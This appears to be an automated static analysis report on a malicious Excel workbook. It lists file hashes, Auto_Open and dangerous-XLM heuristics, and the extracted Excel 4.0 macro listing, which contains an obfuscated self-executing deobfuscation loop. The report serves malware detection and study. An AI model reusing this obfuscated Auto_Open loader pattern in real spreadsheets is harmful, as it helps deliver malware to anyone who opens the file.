Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f2a736d71ea56e43…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:46:31 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 77a568879f213b2f5376af7d723ede6d SHA-1: bcbb42cb59a63c0005666067c314a5ca22c1b16b SHA-256: f2a736d71ea56e43489aa9db302a884a4d37e3a55c9163ee98fb2962f05c78c0
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6638 bytes
SHA-256: 8e95f4779ced09fdd5a66f835e3f94a240f948104b0bf07f77d262318996ec0e
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  jaYwgiv
' 0018     23 LABEL : Cell Value, String Constant - aPseeapy len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D172 
' 0018     26 LABEL : Cell Value, String Constant - cAJeAiWDTwb len=0 
' 0018     24 LABEL : Cell Value, String Constant - daitBYMag len=0 
' 0018     27 LABEL : Cell Value, String Constant - DtZwxDInefaV len=0 
' 0018     27 LABEL : Cell Value, String Constant - EBntWBwjywqX len=0 
' 0018     24 LABEL : Cell Value, String Constant - EMLdNISMd len=0 
' 0018     26 LABEL : Cell Value, String Constant - ftnAwwSXUOl len=0 
' 0018     22 LABEL : Cell Value, String Constant - hMkbQKF len=0 
' 0018     22 LABEL : Cell Value, String Constant - jkVKgYw len=0 
' 0018     24 LABEL : Cell Value, String Constant - MURTGnaTo len=0 
' 0018     24 LABEL : Cell Value, String Constant - MvyhdYvmF len=0 
' 0018     20 LABEL : Cell Value, String Constant - NmuUv len=0 
' 0018     24 LABEL : Cell Value, String Constant - OHNLEIkBB len=0 
' 0018     24 LABEL : Cell Value, String Constant - QuuqKZQEd len=0 
' 0018     20 LABEL : Cell Value, String Constant - rqVrp len=0 
' 0018     20 LABEL : Cell Value, String Constant - SAosV len=0 
' 0018     26 LABEL : Cell Value, String Constant - WTaSuldnvdD len=0 
' 0018     25 LABEL : Cell Value, String Constant - xcXlOubLDx len=0 
' 0018     24 LABEL : Cell Value, String Constant - yZLKRUTor len=0 
' 0018     23 LABEL : Cell Value, String Constant - zkXsgCZU len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  jaYwgiv,D75,"SET.NAME("hMkbQKF",VALUE("0"))",""
'  jaYwgiv,D80,"SET.NAME("zkXsgCZU",hMkbQKF)",""
'  jaYwgiv,D85,"SET.NAME("DtZwxDInefaV",hMkbQKF)",""
'  jaYwgiv,D88,"SET.NAME("MURTGnaTo",COUNTA(xcXlOubLDx))",""
'  jaYwgiv,D90,"SET.NAME("QuuqKZQEd",COUNTA(SAosV))",""
'  jaYwgiv,D93,[],""
'  jaYwgiv,D95,"SET.NAME("daitBYMag","")",""
'  jaYwgiv,D100,"zkXsgCZU",""
'  jaYwgiv,D104,"SET.NAME("NmuUv",HLOOKUP("*",xcXlOubLDx,zkXsgCZU,FALSE))",""
'  jaYwgiv,D108,"cAJeAiWDTwb",""
'  jaYwgiv,D113,"SET.NAME("ftnAwwSXUOl",hMkbQKF)",""
'  jaYwgiv,D117,[],""
'  jaYwgiv,D120,"ftnAwwSXUOl",""
'  jaYwgiv,D125,"EBntWBwjywqX",""
'  jaYwgiv,D128,"aPseeapy",""
'  jaYwgiv,D133,"yZLKRUTor",""
'  jaYwgiv,D137,"SET.NAME("jkVKgYw",VALUE(HLOOKUP("*",SAosV,yZLKRUTor,FALSE)))",""
'  jaYwgiv,D139,"rqVrp",""
'  jaYwgiv,D141,"daitBYMag",""
'  jaYwgiv,D146,"DtZwxDInefaV",""
'  jaYwgiv,D151,NEXT(),""
'  jaYwgiv,D154,"WTaSuldnvdD",""
'  jaYwgiv,D158,"SET.NAME("f",INT(T(FORMULA(T(daitBYMag)&"",""&T(WTaSuldnvdD)))))",""
'  jaYwgiv,D161,"MvyhdYvmF",""
'  jaYwgiv,D163,NEXT(),""
'  jaYwgiv,D168,RETURN(),""
'  jaYwgiv,D192,"SET.NAME("OHNLEIkBB",D75)",""
'  jaYwgiv,D195,"xcXlOubLDx",""
'  jaYwgiv,D197,"SET.NAME("SAosV",R55C12)",""
'  jaYwgiv,D201,"SET.NAME("MvyhdYvmF",209)",""
'  jaYwgiv,D206,"SET.NAME("EMLdNISMd",4)",""
'  jaYwgiv,D208,OHNLEIkBB(),""
'  jaYwgiv,D209,HALT(),""

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